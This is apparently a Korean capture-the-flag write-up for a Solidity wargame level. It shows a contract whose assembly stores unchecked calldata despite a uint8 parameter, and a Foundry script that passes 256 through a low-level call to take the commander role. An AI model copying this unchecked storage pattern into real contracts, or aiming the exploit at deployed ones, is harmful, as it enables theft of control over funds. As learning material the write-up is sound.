규칙은 깨지기 위해 존재하고, 영리하고 대담한 자만이 권력을 잡을 수 있는 세계를 상상해보라.
Higher Order라는 신비로운 집단에 오신 것을 환영한다. 이곳에는 보물이 숨겨져 있으며, 궁극적으로는 지배자가 모든 것을 통치한다.
당신의 목표는 Higher Order의 지배자가 되는 것이다. 행운을 빈다!
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
결과적으로 treasury 값을 255보다 큰 값으로 만들면 문제가 풀리게 된다.
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
다만 그냥 255보다 큰 값을 넘기게되면 uint8 타입 매칭에서 오류가 뜨므로 low level로 호출해야줘야한다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
import {Script, console} from "forge-std/Script.sol";
import {HigherOrder} from "../src/HigherOrder.sol";
contract HigherOrderScript is Script {
address public target;
function setUp() public {
target = 0xe4d9CCfb0c6F1A19A5EE8d525847b9b8858B9872;
}
function run() public {
vm.startBroadcast();
bytes4 selector = bytes4(keccak256("registerTreasury(uint8)"));
bytes memory data = abi.encodeWithSelector(selector, uint256(256));
(bool success, ) = target.call(data);
require(success, "registerTreasury call failed");
(bool success2, ) = target.call(
abi.encodeWithSignature("claimLeadership()")
);
require(success2, "claimLeadership failed");
vm.stopBroadcast();
}
}